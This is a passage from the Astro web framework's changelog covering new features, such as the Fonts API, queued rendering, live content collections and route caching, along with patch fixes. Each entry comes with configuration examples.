security: { serverIslandBodySizeLimit: 2097152, // 2 MB }, }); ``` - [#&#8203;15529](https://github.com/withastro/astro/pull/15529) [`a509941`](https://github.com/withastro/astro/commit/a509941a7a7a1e53f402757234bb88e5503e5119) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new build-in font provider `npm` to access fonts installed as NPM packages You can now add web fonts specified in your `package.json` through Astro's type-safe Fonts API. The `npm` font provider allows you to add fonts either from locally installed packages in `node_modules` or from a CDN. Set `fontProviders.npm()` as your fonts provider along with the required `name` and `cssVariable` values, and add `options` as needed: ```js import { defineConfig, fontProviders } from 'astro/config'; export default defineConfig({ experimental: { fonts: [ { name: 'Roboto', provider: fontProviders.npm(), cssVariable: '--font-roboto', }, ], }, }); ``` See the [NPM font provider reference documentation](https://docs.astro.build/en/reference/font-provider-reference/#npm) for more details. - [#&#8203;15471](https://github.com/withastro/astro/pull/15471) [`32b4302`](https://github.com/withastro/astro/commit/32b430213bbe51898b77ec2eadbacb9dfb220f75) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new experimental flag `queuedRendering` to enable a queue-based rendering engine The new engine is based on a two-pass process, where the first pass traverses the tree of components, emits an ordered queue, and then the queue is rendered. The new engine does not use recursion, and comes with two customizable options. Early benchmarks showed significant speed improvements and memory efficiency in big projects. ##### Queue-rendered based The new engine can be enabled in your Astro config with `experimental.queuedRendering.enabled` set to `true`, and can be further customized with additional sub-features. ```js // astro.config.mjs export default defineConfig({ experimental: { queuedRendering: { enabled: true, }, }, }); ``` ##### Pooling With the new engine enabled, you now have the option to have a pool of nodes that can be saved and reused across page rendering. Node pooling has no effect when rendering pages on demand (SSR) because these rendering requests don't share memory. However, it can be very useful for performance when building static pages. ```js // astro.config.mjs export default defineConfig({ experimental: { queuedRendering: { enabled: true, poolSize: 2000, // store up to 2k nodes to be reused across renderers }, }, }); ``` ##### Content caching The new engine additionally unlocks a new `contentCache` option. This allows you to cache values of nodes during the rendering phase. This is currently a boolean feature with no further customization (e.g. size of cache) that uses sensible defaults for most large content collections: When disabled, the pool engine won't cache strings, but only types. ```js // astro.config.mjs export default defineConfig({ experimental: { queuedRendering: { enabled: true, contentCache: true, // enable re-use of node values }, }, }); ``` For more information on enabling and using this feature in your project, see the [experimental queued rendering docs](https://docs.astro.build/en/reference/experimental-flags/queued-rendering/) for more details. - [#&#8203;14888](https://github.com/withastro/astro/pull/14888) [`4cd3fe4`](https://github.com/withastro/astro/commit/4cd3fe412bddbb0deb1383e83f3f8ae6e72596af) Thanks [@&#8203;OliverSpeir](https://github.com/OliverSpeir)! - Updates `astro add cloudflare` to better setup types, by adding `./worker-configuration.d.ts` to tsconfig includes and a `generate-types` script to package.json - [#&#8203;15646](https://github.com/withastro/astro/pull/15646) [`0dd9d00`](https://github.com/withastro/astro/commit/0dd9d00cf8be38c53217426f6b0e155a6f7c2a22) Thanks [@&#8203;delucis](https://github.com/delucis)! - Removes redundant `fetchpriority` attributes from the output of Astro’s `<Image>` component Previously, Astro would always include `fetchpriority="auto"` on images not using the `priority` attribute. However, this is the default value, so specifying it is redundant. This change omits the attribute by default. - [#&#8203;15291](https://github.com/withastro/astro/pull/15291) [`89b6cdd`](https://github.com/withastro/astro/commit/89b6cdd4075f5c9362291c386bb1e7c100b467a5) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes the `experimental.fonts` flag and replaces it with a new configuration option `fonts` - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#experimental-flags)) - [#&#8203;15495](https://github.com/withastro/astro/pull/15495) [`5b99e90`](https://github.com/withastro/astro/commit/5b99e9077a92602f1e46e9b6eb9094bcd00c640e) Thanks [@&#8203;leekeh](https://github.com/leekeh)! - Adds a new `middlewareMode` adapter feature to replace the previous `edgeMiddleware` option. This feature only impacts adapter authors. If your adapter supports `edgeMiddleware`, you should upgrade to the new `middlewareMode` option to specify the middleware mode for your adapter as soon as possible. The `edgeMiddleware` feature is deprecated and will be removed in a future major release. ```diff export default function createIntegration() { return { name: '@&#8203;example/my-adapter', hooks: { 'astro:config:done': ({ setAdapter }) => { setAdapter({ name: '@&#8203;example/my-adapter', serverEntrypoint: '@&#8203;example/my-adapter/server.js', adapterFeatures: { - edgeMiddleware: true + middlewareMode: 'edge' } }); }, }, }; } ``` - [#&#8203;15694](https://github.com/withastro/astro/pull/15694) [`66449c9`](https://github.com/withastro/astro/commit/66449c930e73e9a58ce547b9c32635a98a310966) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds `preserveBuildClientDir` option to adapter features Adapters can now opt in to preserving the client/server directory structure for static builds by setting `preserveBuildClientDir: true` in their adapter features. When enabled, static builds will output files to `build.client` instead of directly to `outDir`. This is useful for adapters that require a consistent directory structure regardless of the build output type, such as deploying to platforms with specific file organization requirements. ```js // my-adapter/index.js export default function myAdapter() { return { name: 'my-adapter', hooks: { 'astro:config:done': ({ setAdapter }) => { setAdapter({ name: 'my-adapter', adapterFeatures: { buildOutput: 'static', preserveBuildClientDir: true, }, }); }, }, }; } ``` - [#&#8203;15332](https://github.com/withastro/astro/pull/15332) [`7c55f80`](https://github.com/withastro/astro/commit/7c55f80fa1fd91f8f71ad60437f81e6c7f98f69d) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds a `fileURL` option to `renderMarkdown` in content loaders, enabling resolution of relative image paths. When provided, relative image paths in markdown will be resolved relative to the specified file URL and included in `metadata.localImagePaths`. ```js const loader = { name: 'my-loader', load: async ({ store, renderMarkdown }) => { const content = ` # My Post ![Local image](./image.png) `; // Provide a fileURL to resolve relative image paths const fileURL = new URL('./posts/my-post.md', import.meta.url); const rendered = await renderMarkdown(content, { fileURL }); // rendered.metadata.localImagePaths now contains the resolved image path }, }; ``` - [#&#8203;15407](https://github.com/withastro/astro/pull/15407) [`aedbbd8`](https://github.com/withastro/astro/commit/aedbbd818628bed0533cdd627b73e2c5365aa17e) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds support for responsive images when `security.csp` is enabled, out of the box. Astro's implementation of responsive image styles has been updated to be compatible with a configured Content Security Policy. Instead of, injecting style elements at runtime, Astro will now generate your styles at build time using a combination of `class=""` and `data-*` attributes. This means that your processed styles are loaded and hashed out of the box by Astro. If you were previously choosing between Astro's CSP feature and including responsive images on your site, you may now use them together. - [#&#8203;15543](https://github.com/withastro/astro/pull/15543) [`d43841d`](https://github.com/withastro/astro/commit/d43841dfa8998c4dc1a510a2b120fedbd9ce77c6) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds a new `experimental.rustCompiler` flag to opt into the experimental Rust-based Astro compiler This experimental compiler is faster, provides better error messages, and generally has better support for modern JavaScript, TypeScript, and CSS features. After enabling in your Astro config, the `@astrojs/compiler-rs` package must also be installed into your project separately: ```js import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { rustCompiler: true, }, }); ``` This new compiler is still in early development and may exhibit some differences compared to the existing Go-based compiler. Notably, this compiler is generally more strict in regard to invalid HTML syntax and may throw errors in cases where the Go-based compiler would have been more lenient. For example, unclosed tags (e.g. `<p>My paragraph`) will now result in errors. For more information about using this experimental feature in your project, especially regarding expected differences and limitations, please see the [experimental Rust compiler reference docs](https://docs.astro.build/en/reference/experimental-flags/rust-compiler/). To give feedback on the compiler, or to keep up with its development, see the [RFC for a new compiler for Astro](https://github.com/withastro/roadmap/discussions/1306) for more information and discussion. - [#&#8203;15349](https://github.com/withastro/astro/pull/15349) [`a257c4c`](https://github.com/withastro/astro/commit/a257c4c3c7f0cdc5089b522ed216401d46d214c9) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Passes collection name to live content loaders Live content collection loaders now receive the collection name as part of their parameters. This is helpful for loaders that manage multiple collections or need to differentiate behavior based on the collection being accessed. ```ts export function storeLoader({ field, key }) { return { name: 'store-loader', loadCollection: async ({ filter, collection }) => { // ... }, loadEntry: async ({ filter, collection }) => { // ... }, }; } ``` - [#&#8203;15006](https://github.com/withastro/astro/pull/15006) [`f361730`](https://github.com/withastro/astro/commit/f361730bc820c01a2ec3e508ac940be8077d8c04) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds new session driver object shape For greater flexibility and improved consistency with other Astro code, session drivers are now specified as an object: ```diff -import { defineConfig } from 'astro/config' +import { defineConfig, sessionDrivers } from 'astro/config' export default defineConfig({ session: { - driver: 'redis', - options: { - url: process.env.REDIS_URL - }, + driver: sessionDrivers.redis({ + url: process.env.REDIS_URL + }), } }) ``` Specifying the session driver as a string has been deprecated, but will continue to work until this feature is removed completely in a future major version. The object shape is the current recommended and documented way to configure a session driver. - [#&#8203;15291](https://github.com/withastro/astro/pull/15291) [`89b6cdd`](https://github.com/withastro/astro/commit/89b6cdd4075f5c9362291c386bb1e7c100b467a5) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new Fonts API to provide first-party support for adding custom fonts in Astro. This feature allows you to use fonts from both your file system and several built-in supported providers (e.g. Google, Fontsource, Bunny) through a unified API. Keep your site performant thanks to sensible defaults and automatic optimizations including preloading and fallback font generation. To enable this feature, configure `fonts` with one or more fonts: ```js title="astro.config.mjs" import { defineConfig, fontProviders } from 'astro/config'; export default defineConfig({ fonts: [ { provider: fontProviders.fontsource(), name: 'Roboto', cssVariable: '--font-roboto', }, ], }); ``` Import and include the `<Font />` component with the required `cssVariable` property in the head of your page, usually in a dedicated `Head.astro` component or in a layout component directly: ```astro --- // src/layouts/Layout.astro import { Font } from 'astro:assets'; --- <html> <head> <Font cssVariable="--font-roboto" preload /> </head> <body> <slot /> </body> </html> ``` In any page rendered with that layout, including the layout component itself, you can now define styles with your font's `cssVariable` to apply your custom font. In the following example, the `<h1>` heading will have the custom font applied, while the paragraph `<p>` will not. ```astro --- // src/pages/example.astro import Layout from '../layouts/Layout.astro'; --- <Layout> <h1>In a galaxy far, far away...</h1> <p>Custom fonts make my headings much cooler!</p> <style> h1 { font-family: var('--font-roboto'); } </style> </Layout> ``` Visit the updated [fonts guide](https://docs.astro.build/en/guides/fonts/) to learn more about adding custom fonts to your project. - [#&#8203;14550](https://github.com/withastro/astro/pull/14550) [`9c282b5`](https://github.com/withastro/astro/commit/9c282b5e6d3f0d678bc478a863e883fa4765dd17) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds support for live content collections Live content collections are a new type of [content collection](https://docs.astro.build/en/guides/content-collections/) that fetch their data at runtime rather than build time. This allows you to access frequently updated data from CMSs, APIs, databases, or other sources using a unified API, without needing to rebuild your site when the data changes. ##### Live collections vs build-time collections In Astro 5.0, the content layer API added support for adding diverse content sources to content collections. You can create loaders that fetch data from any source at build time, and then access it inside a page via `getEntry()` and `getCollection()`. The data is cached between builds, giving fast access and updates. However, there was no method for updating the data store between builds, meaning any updates to the data needed a full site deploy, even if the pages are rendered on demand. This meant that content collections were not suitable for pages that update frequently. Instead, these pages tended to access the APIs directly in the frontmatter. This worked, but it led to a lot of boilerplate, and meant users didn't benefit from the simple, unified API that content loaders offer. In most cases, users tended to individually create loader libraries shared between pages. Live content collections ([introduced experimentally in Astro 5.10](https://astro.build/blog/live-content-collections-deep-dive/)) solve this problem by allowing you to create loaders that fetch data at runtime, rather than build time. This means that the data is always up-to-date, without needing to rebuild the site. ##### How to use To use live collections, create a new `src/live.config.ts` file (alongside your `src/content.config.ts` if you have one) to define your live collections with a live content loader using the new `defineLiveCollection()` function from the `astro:content` module: ```ts title="src/live.config.ts" import { defineLiveCollection } from 'astro:content'; import { storeLoader } from '@&#8203;mystore/astro-loader'; const products = defineLiveCollection({ loader: storeLoader({ apiKey: process.env.STORE_API_KEY, endpoint: 'https://api.mystore.com/v1', }), }); export const collections = { products }; ``` You can then use the `getLiveCollection()` and `getLiveEntry()` functions to access your live data, along with error handling (since anything can happen when requesting live data!): ```astro --- import { getLiveCollection, getLiveEntry, render } from 'astro:content'; // Get all products const { entries: allProducts, error } = await getLiveCollection('products'); if (error) { // Handle error appropriately console.error(error.message); } // Get products with a filter (if supported by your loader) const { entries: electronics } = await getLiveCollection('products', { category: 'electronics' }); // Get a single product by ID (string syntax) const { entry: product, error: productError } = await getLiveEntry('products', Astro.params.id); if (productError) { return Astro.redirect('/404'); } // Get a single product with a custom query (if supported by your loader) using a filter object const { entry: productBySlug } = await getLiveEntry('products', { slug: Astro.params.slug }); const { Content } = await render(product); --- <h1>{product.data.title}</h1> <Content /> ``` ##### Upgrading from experimental live collections If you were using the experimental feature, you must remove the `experimental.liveContentCollections` flag from your `astro.config.*` file: ```diff export default defineConfig({ // ... - experimental: { - liveContentCollections: true, - }, }); ``` No other changes to your project code are required as long as you have been keeping up with Astro 5.x patch releases, which contained breaking changes to this experimental feature. If you experience problems with your live collections after upgrading to Astro v6 and removing this flag, please review the [Astro CHANGELOG from 5.10.2](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#5102) onwards for any potential updates you might have missed, or follow the [current v6 documentation for live collections](https://docs.astro.build/en/guides/content-collections/). - [#&#8203;15548](https://github.com/withastro/astro/pull/15548) [`5b8f573`](https://github.com/withastro/astro/commit/5b8f5737feb1a051b7cbd5d543dd230492e5211f) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new optional `embeddedLangs` prop to the `<Code />` component to support languages beyond the primary `lang` This allows, for example, highlighting `.vue` files with a `<script setup lang="tsx">` block correctly: ```astro --- import { Code } from 'astro:components'; const code = ` <script setup lang="tsx"> const Text = ({ text }: { text: string }) => <div>{text}</div>; </script> <template> <Text text="hello world" /> </template>`; --- <Code {code} lang="vue" embeddedLangs={['tsx']} /> ``` See the [`<Code />` component documentation](https://docs.astro.build/en/guides/syntax-highlighting/#code-) for more details. - [#&#8203;14826](https://github.com/withastro/astro/pull/14826) [`170f64e`](https://github.com/withastro/astro/commit/170f64e977290b8f9d316b5f283bd03bae33ddde) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds an option `prerenderConflictBehavior` to configure the behavior of conflicting prerendered routes By default, Astro warns you during the build about any conflicts between multiple dynamic routes that can result in the same output path. For example `/blog/[slug]` and `/blog/[...all]` both could try to prerender the `/blog/post-1` path. In such cases, Astro renders only the [highest priority route](https://docs.astro.build/en/guides/routing/#route-priority-order) for the conflicting path. This allows your site to build successfully, although you may discover that some pages are rendered by unexpected routes. With the new `prerenderConflictBehavior` configuration option, you can now configure this further: - `prerenderConflictBehavior: 'error'` fails the build - `prerenderConflictBehavior: 'warn'` (default) logs a warning and the highest-priority route wins - `prerenderConflictBehavior: 'ignore'` silently picks the highest-priority route when conflicts occur ```diff import { defineConfig } from 'astro/config'; export default defineConfig({ + prerenderConflictBehavior: 'error', }); ``` - [#&#8203;14946](https://github.com/withastro/astro/pull/14946) [`95c40f7`](https://github.com/withastro/astro/commit/95c40f7109ce240206c3951761a7bb439dd809cb) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Removes the `experimental.csp` flag and replaces it with a new configuration option `security.csp` - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#experimental-flags)) - [#&#8203;15579](https://github.com/withastro/astro/pull/15579) [`08437d5`](https://github.com/withastro/astro/commit/08437d531e31b79a42333a9f7aabaa9fe646ce4f) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds two new experimental flags for a Route Caching API and further configuration-level Route Rules for controlling SSR response caching. Route caching gives you a platform-agnostic way to cache server-rendered responses, based on web standard cache headers. You set caching directives in your routes using `Astro.cache` (in `.astro` pages) or `context.cache` (in API routes and middleware), and Astro translates them into the appropriate headers or runtime behavior depending on your adapter. You can also define cache rules for routes declaratively in your config using `experimental.routeRules`, without modifying route code. This feature requires on-demand rendering. Prerendered pages are already static and do not use route caching. ##### Getting started Enable the feature by configuring `experimental.cache` with a cache provider in your Astro config: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@&#8203;astrojs/node'; import { memoryCache } from 'astro/config'; export default defineConfig({ adapter: node({ mode: 'standalone' }), experimental: { cache: { provider: memoryCache(), }, }, }); ``` ##### Using `Astro.cache` and `context.cache` In `.astro` pages, use `Astro.cache.set()` to control caching: ```astro --- // src/pages/index.astro Astro.cache.set({ maxAge: 120, // Cache for 2 minutes swr: 60, // Serve stale for 1 minute while revalidating tags: ['home'], // Tag for targeted invalidation }); --- <html><body>Cached page</body></html> ``` In API routes and middleware, use `context.cache`: ```ts // src/pages/api/data.ts export function GET(context) { context.cache.set({ maxAge: 300, tags: ['api', 'data'], }); return Response.json({ ok: true }); } ``` ##### Cache options `cache.set()` accepts the following options: - **`maxAge`** (number): Time in seconds the response is considered fresh. - **`swr`** (number): Stale-while-revalidate window in seconds. During this window, stale content is served while a fresh response is generated in the background. - **`tags`** (string\[]): Cache tags for targeted invalidation. Tags accumulate across multiple `set()` calls within a request. - **`lastModified`** (Date): When multiple `set()` calls provide `lastModified`, the most recent date wins. - **`etag`** (string): Entity tag for conditional requests. Call `cache.set(false)` to explicitly opt out of caching for a request. Multiple calls to `cache.set()` within a single request are merged: scalar values use last-write-wins, `lastModified` uses most-recent-wins, and tags accumulate. ##### Invalidation Purge cached entries by tag or path using `cache.invalidate()`: ```ts // Invalidate all entries tagged 'data' await context.cache.invalidate({ tags: ['data'] }); // Invalidate a specific path await context.cache.invalidate({ path: '/api/data' }); ``` ##### Config-level route rules Use `experimental.routeRules` to set default cache options for routes without modifying route code. Supports Nitro-style shortcuts for ergonomic configuration: ```js import { memoryCache } from 'astro/config'; export default defineConfig({ experimental: { cache: { provider: memoryCache(), }, routeRules: { // Shortcut form (Nitro-style) '/api/*': { swr: 600 }, // Full form with nested cache '/products/*': { cache: { maxAge: 3600, tags: ['products'] } }, }, }, }); ``` Route patterns support static paths, dynamic parameters (`[slug]`), and rest parameters (`[...path]`). Per-route `cache.set()` calls merge with (and can override) the config-level defaults. You can also read the current cache state via `cache.options`: ```ts const { maxAge, swr, tags } = context.cache.options; ``` ##### Cache providers Cache behavior is determined by the configured **cache provider**. There are two types: - **CDN providers** set response headers (e.g. `CDN-Cache-Control`, `Cache-Tag`) and let the CDN handle caching. Astro strips these headers before sending the response to the client. - **Runtime providers** implement `onRequest()` to intercept and cache responses in-process, adding an `X-Astro-Cache` header (HIT/MISS/STALE) for observability. ##### Built-in memory cache provider Astro includes a built-in, in-memory LRU runtime cache provider. Import `memoryCache` from `astro/config` to configure it. Features: - In-memory LRU cache with configurable max entries (default: 1000) - Stale-while-revalidate support - Tag-based and path-based invalidation - `X-Astro-Cache` response header: `HIT`, `MISS`, or `STALE` - Query parameter sorting for better hit rates (`?b=2&a=1` and `?a=1&b=2` hit the same entry) - Common tracking parameters (`utm_*`, `fbclid`, `gclid`, etc.) excluded from cache keys by default - `Vary` header support — responses that set `Vary` automatically get separate cache entries per variant - Configurable query parameter filtering via `query.exclude` (glob patterns) and `query.include` (allowlist) For more information on enabling and using this feature in your project, see the [Experimental Route Caching docs](https://docs.astro.build/en/reference/experimental-flags/route-caching/). For a complete overview and to give feedback on this experimental API, see the [Route Caching RFC](https://github.com/withastro/roadmap/pull/1245). - [#&#8203;15483](https://github.com/withastro/astro/pull/15483) [`7be3308`](https://github.com/withastro/astro/commit/7be3308bf4b1710a3f378ba338d09a8528e01e76) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds `streaming` option to the `createApp()` function in the Adapter API, mirroring the same functionality available when creating a new `App` instance An adapter's `createApp()` function now accepts `streaming` (defaults to `true`) as an option. HTML streaming breaks a document into chunks to send over the network and render on the page in order. This normally results in visitors seeing your HTML as fast as possible but factors such as network conditions and waiting for data fetches can block page rendering. HTML streaming helps with performance and generally provides a better visitor experience. In most cases, disabling streaming is not recommended. However, when you need to disable HTML streaming (e.g. your host only supports non-streamed HTML caching at the CDN level), you can opt out of the default behavior by passing `streaming: false` to `createApp()`: ```ts import { createApp } from 'astro/app/entrypoint'; const app = createApp({ streaming: false }); ``` See more about [the `createApp()` function](https://docs.astro.build/en/reference/adapter-reference/#createapp) in the Adapter API reference. ##### Patch Changes - [#&#8203;15423](https://github.com/withastro/astro/pull/15423) [`c5ea720`](https://github.com/withastro/astro/commit/c5ea720261a35324988147fbf69d8200e496e1d0) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Improves error message when a dynamic redirect destination does not match any existing route. Previously, configuring a redirect like `/categories/[category]` → `/categories/[category]/1` in static output mode would fail with a misleading "getStaticPaths required" error. Now, Astro detects this early and provides a clear error explaining that the destination does not match any existing route. - [#&#8203;15167](https://github.com/withastro/astro/pull/15167) [`4fca170`](https://github.com/withastro/astro/commit/4fca1701eca1d107df43ef280cab342dfdacbb44) Thanks [@&#8203;HiDeoo](https://github.com/HiDeoo)! - Fixes an issue where CSS from unused components, when using content collections, could be incorrectly included between page navigations in development mode. - [#&#8203;15565](https://github.com/withastro/astro/pull/15565) [`30cd6db`](https://github.com/withastro/astro/commit/30cd6dbebe771efb6f71dcff7e6b44026fad6797) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the use of the Astro internal logger couldn't work with Cloudflare Vite plugin. - [#&#8203;15508](https://github.com/withastro/astro/pull/15508) [`2c6484a`](https://github.com/withastro/astro/commit/2c6484a4c34e86b8a26342a48986da26768de27b) Thanks [@&#8203;KTibow](https://github.com/KTibow)! - Fixes behavior when shortcuts are used before server is ready - [#&#8203;15125](https://github.com/withastro/astro/pull/15125) [`6feb0d7`](https://github.com/withastro/astro/commit/6feb0d7bec1e333eb795ae0fc51516182a73eb2b) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves JSDoc annotations for `AstroGlobal`, `AstroSharedContext` and `APIContext` types - [#&#8203;15712](https://github.com/withastro/astro/pull/15712) [`7ac43c7`](https://github.com/withastro/astro/commit/7ac43c713be0c69b8df0fdaaca1e85e022361216) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves `astro info` by supporting more operating systems when copying the information to the clipboard. - [#&#8203;15054](https://github.com/withastro/astro/pull/15054) [`22db567`](https://github.com/withastro/astro/commit/22db567d4cea7a4476271c101c452a2624b7d996) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Improves zod union type error messages to show expected vs received types instead of generic "Invalid input" - [#&#8203;15064](https://github.com/withastro/astro/pull/15064) [`caf5621`](https://github.com/withastro/astro/commit/caf5621b324344fc0d46fb462c88c0d79fccca6b) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused incorrect warnings of duplicate entries to be logged by the glob loader when editing a file - [#&#8203;15801](https://github.com/withastro/astro/pull/15801) [`01db4f3`](https://github.com/withastro/astro/commit/01db4f37ddc14e2148df8390e0c0c600677a2417) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Improves the experience of working with experimental route caching in dev mode by replacing some errors with silent no-ops, avoiding the need to write conditional logic to handle different modes Adds a `cache.enabled` property to `CacheLike` so libraries can check whether caching is active without try/catch. - [#&#8203;15562](https://github.com/withastro/astro/pull/15562) [`e14a51d`](https://github.com/withastro/astro/commit/e14a51d30196bad534bacb14aac7033b91aed741) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes types for the `astro:ssr-manifest` module, which was removed - [#&#8203;15542](https://github.com/withastro/astro/pull/15542) [`9760404`](https://github.com/withastro/astro/commit/97604040b73ec1d029f5d5a489aa744aaecfd173) Thanks [@&#8203;rururux](https://github.com/rururux)! - Improves rendering by preserving `hidden="until-found"` value in attributes - [#&#8203;15044](https://github.com/withastro/astro/pull/15044) [`7cac71b`](https://github.com/withastro/astro/commit/7cac71b89f7462e197a69d797bdfefe6c7d15689) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes an exposed internal API of the preview server - [#&#8203;15573](https://github.com/withastro/astro/pull/15573) [`d789452`](https://github.com/withastro/astro/commit/d78945221d68ceab073f93572d87f12be0c72d47) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Clear the route cache on content changes so slug pages reflect updated data during dev. - [#&#8203;15308](https://github.com/withastro/astro/pull/15308) [`89cbcfa`](https://github.com/withastro/astro/commit/89cbcfadcf2d777dc5dbd210f9f88117c0101931) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes styles missing in dev for prerendered pages when using Cloudflare adapter - [#&#8203;15435](https://github.com/withastro/astro/pull/15435) [`957b9fe`](https://github.com/withastro/astro/commit/957b9fe2d887a365c55c6e87f0c67c10beb60d1b) Thanks [@&#8203;rururux](https://github.com/rururux)! - Improves compatibility of the built-in image endpoint with runtimes that don't support CJS dependencies correctly - [#&#8203;15640](https://github.com/withastro/astro/pull/15640) [`4c1a801`](https://github.com/withastro/astro/commit/4c1a801618b9c4a3147b683d6b4c8f35dc4bdb26) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Reverts the support of Shiki with CSP. Unfortunately, after exhaustive tests, the highlighter can't be supported to cover all cases. Adds a warning when both Content Security Policy (CSP) and Shiki syntax highlighting are enabled, as they are incompatible due to Shiki's use of inline styles - [#&#8203;15415](https://github.com/withastro/astro/pull/15415) [`cc3c46c`](https://github.com/withastro/astro/commit/cc3c46c73774d5c4b67c3b7a68f7da5de5544ba8) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where CSP headers were incorrectly injected in the development server. - [#&#8203;15412](https://github.com/withastro/astro/pull/15412) [`c546563`](https://github.com/withastro/astro/commit/c546563f361343b2494ebfb1c06ef3101a4d083c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves the `AstroAdapter` type and how legacy adapters are handled - [#&#8203;15322](https://github.com/withastro/astro/pull/15322) [`18e0980`](https://github.com/withastro/astro/commit/18e09800e459ff292f33370d4cf5f70d97bdbdb4) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevents missing CSS when using both SSR and prerendered routes - [#&#8203;15760](https://github.com/withastro/astro/pull/15760) [`f49a27f`](https://github.com/withastro/astro/commit/f49a27fd2ac2559c06671979487f642360791a92) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixed an issue where queued rendering wasn't correctly re-using the saved nodes. - [#&#8203;15277](https://github.com/withastro/astro/pull/15277) [`cb99214`](https://github.com/withastro/astro/commit/cb99214ebb991d1b929978f46e1b3ae68b561366) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the function `createShikiHighlighter` would always create a new Shiki highlighter instance. Now the function returns a cached version of the highlighter based on the Shiki options. This should improve the performance for sites that heavily rely on Shiki and code in their pages. - [#&#8203;15394](https://github.com/withastro/astro/pull/15394) [`5520f89`](https://github.com/withastro/astro/commit/5520f89d5df125e0c2d7fcdb3f9f0c81ff754e86) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where using the Fonts API with `netlify dev` wouldn't work because of query parameters - [#&#8203;15605](https://github.com/withastro/astro/pull/15605) [`f6473fd`](https://github.com/withastro/astro/commit/f6473fd45b74291e1a038f2f4142eb61a932d01d) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Improves `.astro` component SSR rendering performance by up to 2x. This includes several optimizations to the way that Astro generates and renders components on the server. These are mostly micro-optimizations, but they add up to a significant improvement in performance. Most pages will benefit, but pages with many components will see the biggest improvement, as will pages with lots of strings (e.g. text-heavy pages with lots of HTML elements). - [#&#8203;15721](https://github.com/withastro/astro/pull/15721) [`e6e146c`](https://github.com/withastro/astro/commit/e6e146cb0ac535e21c26f6b1c3d2f65be9dbdb4c) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes action route handling to return 404 for requests to prototype method names like `constructor` or `toString` used as action paths - [#&#8203;15497](https://github.com/withastro/astro/pull/15497) [`a93c81d`](https://github.com/withastro/astro/commit/a93c81de493e912aeba1d829d9ccf6997b2eb806) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix dev reloads for content collection Markdown updates under Vite 7. - [#&#8203;15780](https://github.com/withastro/astro/pull/15780) [`e0ac125`](https://github.com/withastro/astro/commit/e0ac1250bb6db87f4c2ac79b6521b0fee0092d7a) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Prevents `vite.envPrefix` misconfiguration from exposing `access: "secret"` environment variables in client-side bundles. Astro now throws a clear error at startup if any `vite.envPrefix` entry matches a variable declared with `access: "secret"` in `env.schema`. For example, the following configuration will throw an error for `API_SECRET` because it's defined as `secret` its name matches `['PUBLIC_', 'API_']` defined in `env.schema`: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ env: { schema: { API_SECRET: envField.string({ context: 'server', access: 'secret', optional: true }), API_URL: envField.string({ context: 'server', access: 'public', optional: true }), }, }, vite: { envPrefix: ['PUBLIC_', 'API_'], }, }); ``` - [#&#8203;15514](https://github.com/withastro/astro/pull/15514) [`999a7dd`](https://github.com/withastro/astro/commit/999a7dd1f2913ea04e4f18f3557e8363edef45a8) Thanks [@&#8203;veeceey](https://github.com/veeceey)! - Fixes font flash (FOUT) during ClientRouter navigation by preserving inline `<style>` elements and font preload links in the head during page transitions. Previously, `@font-face` declarations from the `<Font>` component were removed and re-inserted on every client-side navigation, causing the browser to re-evaluate them. - [#&#8203;15560](https://github.com/withastro/astro/pull/15560) [`170ed89`](https://github.com/withastro/astro/commit/170ed89ae2b0482ddc5a6f1244452490319ae99e) Thanks [@&#8203;z0mt3c](https://github.com/z0mt3c)! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL. - [#&#8203;15704](https://github.com/withastro/astro/pull/15704) [`862d77b`](https://github.com/withastro/astro/commit/862d77bd6c3e05e20fd58293f9577ae685a9b8c9) Thanks 